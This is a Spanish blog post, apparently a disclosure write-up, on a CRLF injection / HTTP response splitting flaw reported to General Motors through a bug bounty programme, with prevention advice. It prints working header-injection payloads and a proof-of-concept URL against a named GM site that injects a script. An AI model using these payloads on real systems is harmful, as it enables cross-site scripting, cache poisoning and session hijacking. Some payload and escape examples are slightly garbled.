Bug Bounty General Motors | CRLF Injection

Los ‘bounty programs’, o programas de recompensa, empezaron a generalizarse entre las grandes empresas de tecnología después de que gigantes como Mozilla o Google tomaran la iniciativa. Facebook y PayPal fueron algunas de las compañías que siguieron su ejemplo y crearon programas para premiar a aquellos usuarios – normalmente expertos , que descubrieran fallos de seguridad en sus productos. Otras reconocen la labor, pero sin dinero de por medio.

Las siglas CRLF vienen de CR (Carriage return o retorno de carro) y de LF (Line Feed o salto de línea). Ambos son carácteres “invisibles” que indican el final de línea para importantes protocolos como HTTP, MIME o NNTP. En código ASCII el CR tiene valor 13 y el LF valor 10 y a veces se escriben de la manera siguiente “r\n\”.
Los encabezados HTTP tienen la estructura “Clave: Valor”, donde cada línea está separada por la combinación CRLF.
Si el usuario logra inyectar los caracteres CRLF adecuadamente en la sección de valores sin escapar, es posible alterar la estructura de los encabezados HTTP, por medio de una inyección CRLF (Nueva línea) que agrega caracteres maliciosos a los encabezados HTTP sin filtrado de entrada adecuado.
CR/LF – %0d%0a para Windows o %0a para Linux

 

Ataque para usuarios de Windows: 
/latestoffer.jsp?page=anything%0d%0aContent-
Length:%200%0d%0d%0a%0aHTTP/1.1%20200%20OK%0d
%0aContent-Type:%20text/html%0d%0a
Content-Length:%2019%0d%0a%0d%0a<html>Attack</html>

Ataque para usuarios de Linux :-
/latestoffer.jsp?page=anything%0aContent-
Length:0%0a%0aHTTP/1.1 200 OK
%0aContent-Type: text/html %0a
Content-Length: 19%0a%0a<html>Attack</html>

Como podemos ver, las diferentes cabeceras se separan con CRLF. La respuesta por parte del servidor a nuestro navegador sería:
Server: gws ---------|
Content-Type: text/html |
Content-Length:%2019 |
<html>Attack</html> |
..... ---------|

Nuestro equipo de seguridad en Netploy Security ha realizado un descubrimiento de una vulnerabilidad de aplicación web conocida como CRLF Injection.

A continuación está se presenta una vista previa del reporte de seguridad al equipo de TI/Seguridad de la empresa General motors desde la plataforma de www.hackerone.com:

La inyección CRLF explota vulnerabilidades en la capa de aplicación. Al explotar la falla de inyección de CRLF en una respuesta HTTP, por ejemplo, los atacantes pueden modificar los datos de la aplicación, comprometiendo la integridad y permitiendo la explotación de las siguientes vulnerabilidades:

  • XSS or Cross-Site Scripting vulnerabilities
  • Proxy and web server cache poisoning
  • Website defacement
  • Hijacking the client’s session
  • Client web browser poisoning

Nuestro mensaje hacia ellos fue algo como: “Nos gustaría informar de una vulnerabilidad HTTP Response Splitting vulnerability en General motors: https://gmfamilyfirst.com/showroom/app/ que permite a los atacantes inyectar encabezados y contenidos arbitrarios.”

Payload:
%0aContent- Length:0%0a%0aHTTP/1.1 200 OK %0aContent-Type: text/html %0a Content-Length: 19%0a%0a<html><script>alert('XSS vulnerability')</script></html>

Se indicaba que el atacante puede inyectar una URL codificada por el método GET en la variable “embed”.

 

[+] PoC XSS (Cross-Site Scripting) via CRLF:

A continuación se observa la prueba de concepto (PoC).

https://gmfamilyfirst.com/showroom/app/?ac=sup&bac=&embed=anything%0aContent- Length:0%0a%0aHTTP/1.1 200 OK %0aContent-Type: text/html %0a Content-Length: 19%0a%0a<html><script>alert('XSS vulnerability')</script></html>&zip=60000

Para la URL codificada es importante:
- ":" by %3A
- "space" by %20
- "carriage return" by %0A
- "," by %2c
- "/" by %2F
- "<" by %3C
- ">" by %3E

 

Lo que se envía son cabeceras HTTP y luego hace un salto de línea con %0A después del valor de Content-Length, entonces la respuesta del servidor es:
Server: gmfamilyfirst.com
Content-Type: text/html
Content-Length: 19
<html><script>alert('XSS vulnerability')</script>

Si bien se observa se ha inyectado en la solicitud de la cabecera HTTP un código HTML que dentro de el ejecuta un código JavaScript (Cross Site Scripting).

 

[+] Prevención de las inyecciones de CRLF

Afortunadamente, las inyecciones de CRLF son fáciles de prevenir:

  • Siempre siga la regla de nunca confiar en la entrada del usuario.
  • Desinfectar y neutralizar todos los datos suministrados por el usuario o codificar correctamente la salida en encabezados HTTP , que de otra manera serían visibles para los usuarios, con el fin de prevenir la inyección de secuencias CRLF y sus consecuencias.

Finalmente han parchado los fallos reportados, y nos han agradecido por el reporte de seguridad.

 

./zer0max

Deja un comentario